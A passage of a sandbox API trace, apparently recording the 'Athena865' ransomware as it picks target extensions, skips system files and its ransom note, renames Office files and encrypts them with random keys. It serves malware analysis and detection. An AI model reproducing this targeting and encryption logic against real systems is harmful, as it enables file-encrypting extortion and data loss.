lpString2="ckp") returned 1 [0080.734] lstrlenW (lpString="cma") returned 3 [0080.734] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0080.734] lstrlenW (lpString="cpd") returned 3 [0080.734] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0080.735] lstrlenW (lpString="dacpac") returned 6 [0080.735] lstrcmpiW (lpString1="UB.DLL", lpString2="dacpac") returned 1 [0080.735] lstrlenW (lpString="dad") returned 3 [0080.735] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0080.735] lstrlenW (lpString="dadiagrams") returned 10 [0080.735] lstrcmpiW (lpString1="KFSTUB.DLL", lpString2="dadiagrams") returned 1 [0080.735] lstrlenW (lpString="daschema") returned 8 [0080.735] lstrcmpiW (lpString1="STUB.DLL", lpString2="daschema") returned 1 [0080.735] lstrlenW (lpString="db-journal") returned 10 [0080.735] lstrcmpiW (lpString1="KFSTUB.DLL", lpString2="db-journal") returned 1 [0080.735] lstrlenW (lpString="db-shm") returned 6 [0080.735] lstrcmpiW (lpString1="UB.DLL", lpString2="db-shm") returned 1 [0080.735] lstrlenW (lpString="db-wal") returned 6 [0080.735] lstrcmpiW (lpString1="UB.DLL", lpString2="db-wal") returned 1 [0080.735] lstrlenW (lpString="dbc") returned 3 [0080.735] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0080.735] lstrlenW (lpString="dbs") returned 3 [0080.735] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0080.735] lstrlenW (lpString="dbt") returned 3 [0080.735] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0080.735] lstrlenW (lpString="dbv") returned 3 [0080.735] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0080.735] lstrlenW (lpString="dbx") returned 3 [0080.735] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0080.735] lstrlenW (lpString="dcb") returned 3 [0080.735] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0080.735] lstrlenW (lpString="dct") returned 3 [0080.735] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0080.735] lstrlenW (lpString="dcx") returned 3 [0080.735] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0080.735] lstrlenW (lpString="ddl") returned 3 [0080.735] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0080.736] lstrlenW (lpString="dlis") returned 4 [0080.736] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0080.736] lstrlenW (lpString="dp1") returned 3 [0080.736] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0080.736] lstrlenW (lpString="dqy") returned 3 [0080.736] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0080.736] lstrlenW (lpString="dsk") returned 3 [0080.736] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0080.736] lstrlenW (lpString="dsn") returned 3 [0080.736] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0080.736] lstrlenW (lpString="dtsx") returned 4 [0080.736] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0080.736] lstrlenW (lpString="dxl") returned 3 [0080.736] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0080.736] lstrlenW (lpString="eco") returned 3 [0080.736] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0080.736] lstrlenW (lpString="ecx") returned 3 [0080.736] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0080.736] lstrlenW (lpString="edb") returned 3 [0080.736] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0080.736] lstrlenW (lpString="epim") returned 4 [0080.736] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0080.736] lstrlenW (lpString="fcd") returned 3 [0080.736] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0080.736] lstrlenW (lpString="fdb") returned 3 [0080.736] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0080.736] lstrlenW (lpString="fic") returned 3 [0080.736] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0080.736] lstrlenW (lpString="flexolibrary") returned 12 [0080.736] lstrlenW (lpString="fm5") returned 3 [0080.736] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0080.736] lstrlenW (lpString="fmp") returned 3 [0080.736] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0080.737] lstrlenW (lpString="fmp12") returned 5 [0080.737] lstrcmpiW (lpString1="B.DLL", lpString2="fmp12") returned -1 [0080.737] lstrlenW (lpString="fmpsl") returned 5 [0080.737] lstrcmpiW (lpString1="B.DLL", lpString2="fmpsl") returned -1 [0080.737] lstrlenW (lpString="fol") returned 3 [0080.737] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0080.737] lstrlenW (lpString="fp3") returned 3 [0080.737] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0080.737] lstrlenW (lpString="fp4") returned 3 [0080.737] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0080.737] lstrlenW (lpString="fp5") returned 3 [0080.737] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0080.737] lstrlenW (lpString="fp7") returned 3 [0080.737] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0080.737] lstrlenW (lpString="fpt") returned 3 [0080.737] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0080.737] lstrlenW (lpString="frm") returned 3 [0080.737] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0080.737] lstrlenW (lpString="gdb") returned 3 [0080.737] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0080.737] lstrlenW (lpString="gdb") returned 3 [0080.737] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0080.737] lstrlenW (lpString="grdb") returned 4 [0080.737] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0080.737] lstrlenW (lpString="gwi") returned 3 [0080.737] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0080.737] lstrlenW (lpString="hdb") returned 3 [0080.737] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0080.737] lstrlenW (lpString="his") returned 3 [0080.737] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0080.737] lstrlenW (lpString="ib") returned 2 [0080.737] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0080.737] lstrlenW (lpString="idb") returned 3 [0080.738] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0080.738] lstrlenW (lpString="ihx") returned 3 [0080.738] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0080.738] lstrlenW (lpString="itdb") returned 4 [0080.738] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0080.738] lstrlenW (lpString="itw") returned 3 [0080.738] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0080.738] lstrlenW (lpString="jet") returned 3 [0080.738] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0080.738] lstrlenW (lpString="jtx") returned 3 [0080.738] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0080.738] lstrlenW (lpString="kdb") returned 3 [0080.738] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0080.738] lstrlenW (lpString="kexi") returned 4 [0080.738] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0080.738] lstrlenW (lpString="kexic") returned 5 [0080.738] lstrcmpiW (lpString1="B.DLL", lpString2="kexic") returned -1 [0080.738] lstrlenW (lpString="kexis") returned 5 [0080.738] lstrcmpiW (lpString1="B.DLL", lpString2="kexis") returned -1 [0080.738] lstrlenW (lpString="lgc") returned 3 [0080.738] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0080.738] lstrlenW (lpString="lwx") returned 3 [0080.738] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0080.738] lstrlenW (lpString="maf") returned 3 [0080.738] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0080.738] lstrlenW (lpString="maq") returned 3 [0080.738] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0080.738] lstrlenW (lpString="mar") returned 3 [0080.738] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0080.738] lstrlenW (lpString="marshal") returned 7 [0080.738] lstrcmpiW (lpString1="TUB.DLL", lpString2="marshal") returned 1 [0080.738] lstrlenW (lpString="mas") returned 3 [0080.739] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0080.739] lstrlenW (lpString="mav") returned 3 [0080.739] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0080.739] lstrlenW (lpString="maw") returned 3 [0080.739] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0080.739] lstrlenW (lpString="mdbhtml") returned 7 [0080.739] lstrcmpiW (lpString1="TUB.DLL", lpString2="mdbhtml") returned 1 [0080.739] lstrlenW (lpString="mdn") returned 3 [0080.739] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0080.739] lstrlenW (lpString="mdt") returned 3 [0080.739] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0080.739] lstrlenW (lpString="mfd") returned 3 [0080.739] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0080.739] lstrlenW (lpString="mpd") returned 3 [0080.739] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0080.739] lstrlenW (lpString="mrg") returned 3 [0080.739] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0080.739] lstrlenW (lpString="mud") returned 3 [0080.739] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0080.739] lstrlenW (lpString="mwb") returned 3 [0080.739] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0080.739] lstrlenW (lpString="myd") returned 3 [0080.739] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0080.739] lstrlenW (lpString="ndf") returned 3 [0080.739] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0080.739] lstrlenW (lpString="nnt") returned 3 [0080.739] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0080.739] lstrlenW (lpString="nrmlib") returned 6 [0080.739] lstrcmpiW (lpString1="UB.DLL", lpString2="nrmlib") returned 1 [0080.739] lstrlenW (lpString="ns2") returned 3 [0080.739] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0080.739] lstrlenW (lpString="ns3") returned 3 [0080.739] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0080.740] lstrlenW (lpString="ns4") returned 3 [0080.740] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0080.740] lstrlenW (lpString="nsf") returned 3 [0080.740] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0080.740] lstrlenW (lpString="nv") returned 2 [0080.740] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0080.740] lstrlenW (lpString="nv2") returned 3 [0080.740] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0080.740] lstrlenW (lpString="nwdb") returned 4 [0080.740] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0080.740] lstrlenW (lpString="nyf") returned 3 [0080.740] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0080.740] lstrlenW (lpString="odb") returned 3 [0080.740] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0080.740] lstrlenW (lpString="odb") returned 3 [0080.740] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0080.740] lstrlenW (lpString="oqy") returned 3 [0080.740] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0080.740] lstrlenW (lpString="ora") returned 3 [0080.740] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0080.740] lstrlenW (lpString="orx") returned 3 [0080.740] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0080.740] lstrlenW (lpString="owc") returned 3 [0080.740] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0080.740] lstrlenW (lpString="p96") returned 3 [0080.740] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0080.740] lstrlenW (lpString="p97") returned 3 [0080.740] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0080.740] lstrlenW (lpString="pan") returned 3 [0080.740] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0080.740] lstrlenW (lpString="pdb") returned 3 [0080.740] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0080.741] lstrlenW (lpString="pdm") returned 3 [0080.741] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0080.741] lstrlenW (lpString="pnz") returned 3 [0080.741] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0080.741] lstrlenW (lpString="qry") returned 3 [0080.741] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0080.741] lstrlenW (lpString="qvd") returned 3 [0080.741] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0080.741] lstrlenW (lpString="rbf") returned 3 [0080.741] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0080.741] lstrlenW (lpString="rctd") returned 4 [0080.741] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0080.741] lstrlenW (lpString="rod") returned 3 [0080.741] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0080.741] lstrlenW (lpString="rodx") returned 4 [0080.741] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0080.741] lstrlenW (lpString="rpd") returned 3 [0080.741] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0080.741] lstrlenW (lpString="rsd") returned 3 [0080.741] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0080.741] lstrlenW (lpString="sas7bdat") returned 8 [0080.741] lstrcmpiW (lpString1="STUB.DLL", lpString2="sas7bdat") returned 1 [0080.741] lstrlenW (lpString="sbf") returned 3 [0080.741] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0080.741] lstrlenW (lpString="scx") returned 3 [0080.741] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0080.741] lstrlenW (lpString="sdb") returned 3 [0080.741] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0080.741] lstrlenW (lpString="sdc") returned 3 [0080.741] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0080.741] lstrlenW (lpString="sdf") returned 3 [0080.741] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0080.741] lstrlenW (lpString="sis") returned 3 [0080.742] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0080.742] lstrlenW (lpString="spq") returned 3 [0080.742] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0080.742] lstrlenW (lpString="te") returned 2 [0080.742] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0080.742] lstrlenW (lpString="teacher") returned 7 [0080.742] lstrcmpiW (lpString1="TUB.DLL", lpString2="teacher") returned 1 [0080.742] lstrlenW (lpString="tmd") returned 3 [0080.742] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0080.742] lstrlenW (lpString="tps") returned 3 [0080.742] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0080.742] lstrlenW (lpString="trc") returned 3 [0080.742] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0080.742] lstrlenW (lpString="trc") returned 3 [0080.742] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0080.742] lstrlenW (lpString="trm") returned 3 [0080.742] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0080.742] lstrlenW (lpString="udb") returned 3 [0080.742] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0080.742] lstrlenW (lpString="udl") returned 3 [0080.742] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0080.742] lstrlenW (lpString="usr") returned 3 [0080.742] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0080.742] lstrlenW (lpString="v12") returned 3 [0080.742] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0080.742] lstrlenW (lpString="vis") returned 3 [0080.742] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0080.742] lstrlenW (lpString="vpd") returned 3 [0080.742] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0080.742] lstrlenW (lpString="vvv") returned 3 [0080.742] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0080.742] lstrlenW (lpString="wdb") returned 3 [0080.742] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0080.743] lstrlenW (lpString="wmdb") returned 4 [0080.743] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0080.743] lstrlenW (lpString="wrk") returned 3 [0080.743] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0080.743] lstrlenW (lpString="xdb") returned 3 [0080.743] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0080.743] lstrlenW (lpString="xld") returned 3 [0080.743] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0080.743] lstrlenW (lpString="xmlff") returned 5 [0080.743] lstrcmpiW (lpString1="B.DLL", lpString2="xmlff") returned -1 [0080.743] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OLKFSTUB.DLL.Athena865") returned 65 [0080.743] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKFSTUB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\olkfstub.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKFSTUB.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\olkfstub.dll.athena865"), dwFlags=0x1) returned 1 [0080.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKFSTUB.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\olkfstub.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.744] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=259456) returned 1 [0080.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.744] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.745] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.745] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.745] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f880, lpName=0x0) returned 0x17c [0080.747] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f880) returned 0x170000 [0080.758] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.759] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.759] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.759] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0080.762] CloseHandle (hObject=0x17c) returned 1 [0080.762] CloseHandle (hObject=0x154) returned 1 [0080.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.763] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42068a00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42068a00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x1374c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OLKIRM.XML", cAlternateFileName="")) returned 1 [0080.763] lstrcmpiW (lpString1="OLKIRM.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.763] lstrcmpiW (lpString1="OLKIRM.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.763] lstrcmpiW (lpString1="OLKIRM.XML", lpString2=".") returned 1 [0080.763] lstrcmpiW (lpString1="OLKIRM.XML", lpString2="..") returned 1 [0080.763] lstrcmpiW (lpString1="OLKIRM.XML", lpString2="windows") returned -1 [0080.763] lstrcmpiW (lpString1="OLKIRM.XML", lpString2="bootmgr") returned 1 [0080.763] lstrcmpiW (lpString1="OLKIRM.XML", lpString2="temp") returned -1 [0080.763] lstrcmpiW (lpString1="OLKIRM.XML", lpString2="pagefile.sys") returned -1 [0080.764] lstrcmpiW (lpString1="OLKIRM.XML", lpString2="boot") returned 1 [0080.764] lstrcmpiW (lpString1="OLKIRM.XML", lpString2="ids.txt") returned 1 [0080.764] lstrcmpiW (lpString1="OLKIRM.XML", lpString2="ntuser.dat") returned 1 [0080.764] lstrcmpiW (lpString1="OLKIRM.XML", lpString2="perflogs") returned -1 [0080.764] lstrcmpiW (lpString1="OLKIRM.XML", lpString2="MSBuild") returned 1 [0080.764] lstrlenW (lpString="OLKIRM.XML") returned 10 [0080.764] lstrcpyW (in: lpString1=0x241e89e, lpString2="OLKIRM.XML" | out: lpString1="OLKIRM.XML") returned="OLKIRM.XML" [0080.764] lstrlenW (lpString="OLKIRM.XML") returned 10 [0080.764] lstrlenW (lpString="Athena865") returned 9 [0080.764] lstrcmpiW (lpString1="LKIRM.XML", lpString2="Athena865") returned 1 [0080.764] lstrlenW (lpString=".dll") returned 4 [0080.764] lstrcmpiW (lpString1="OLKIRM.XML", lpString2=".dll") returned 1 [0080.764] lstrlenW (lpString=".lnk") returned 4 [0080.764] lstrcmpiW (lpString1="OLKIRM.XML", lpString2=".lnk") returned 1 [0080.764] lstrlenW (lpString=".ini") returned 4 [0080.764] lstrcmpiW (lpString1="OLKIRM.XML", lpString2=".ini") returned 1 [0080.764] lstrlenW (lpString=".sys") returned 4 [0080.764] lstrcmpiW (lpString1="OLKIRM.XML", lpString2=".sys") returned 1 [0080.764] lstrlenW (lpString="OLKIRM.XML") returned 10 [0080.764] lstrlenW (lpString="bak") returned 3 [0080.764] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1 [0080.764] lstrlenW (lpString="ba_") returned 3 [0080.764] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1 [0080.764] lstrlenW (lpString="dbb") returned 3 [0080.764] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1 [0080.764] lstrlenW (lpString="vmdk") returned 4 [0080.764] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1 [0080.764] lstrlenW (lpString="rar") returned 3 [0080.764] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1 [0080.764] lstrlenW (lpString="zip") returned 3 [0080.764] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1 [0080.764] lstrlenW (lpString="tgz") returned 3 [0080.765] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1 [0080.765] lstrlenW (lpString="vbox") returned 4 [0080.765] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1 [0080.765] lstrlenW (lpString="vdi") returned 3 [0080.765] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1 [0080.765] lstrlenW (lpString="vhd") returned 3 [0080.765] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1 [0080.765] lstrlenW (lpString="vhdx") returned 4 [0080.765] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1 [0080.765] lstrlenW (lpString="avhd") returned 4 [0080.765] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1 [0080.765] lstrlenW (lpString="db") returned 2 [0080.765] lstrcmpiW (lpString1="ML", lpString2="db") returned 1 [0080.765] lstrlenW (lpString="db2") returned 3 [0080.765] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1 [0080.765] lstrlenW (lpString="db3") returned 3 [0080.765] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1 [0080.765] lstrlenW (lpString="dbf") returned 3 [0080.765] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1 [0080.765] lstrlenW (lpString="mdf") returned 3 [0080.765] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1 [0080.765] lstrlenW (lpString="mdb") returned 3 [0080.765] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1 [0080.765] lstrlenW (lpString="sql") returned 3 [0080.765] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1 [0080.765] lstrlenW (lpString="sqlite") returned 6 [0080.765] lstrcmpiW (lpString1="RM.XML", lpString2="sqlite") returned -1 [0080.765] lstrlenW (lpString="sqlite3") returned 7 [0080.765] lstrcmpiW (lpString1="IRM.XML", lpString2="sqlite3") returned -1 [0080.765] lstrlenW (lpString="sqlitedb") returned 8 [0080.765] lstrcmpiW (lpString1="KIRM.XML", lpString2="sqlitedb") returned -1 [0080.765] lstrlenW (lpString="xml") returned 3 [0080.765] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0 [0080.765] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML.Athena865") returned 63 [0080.766] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml.athena865"), dwFlags=0x1) returned 1 [0080.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.767] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=79692) returned 1 [0080.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.768] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.768] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.768] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.768] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a50, lpName=0x0) returned 0x17c [0080.770] MapViewOfFile 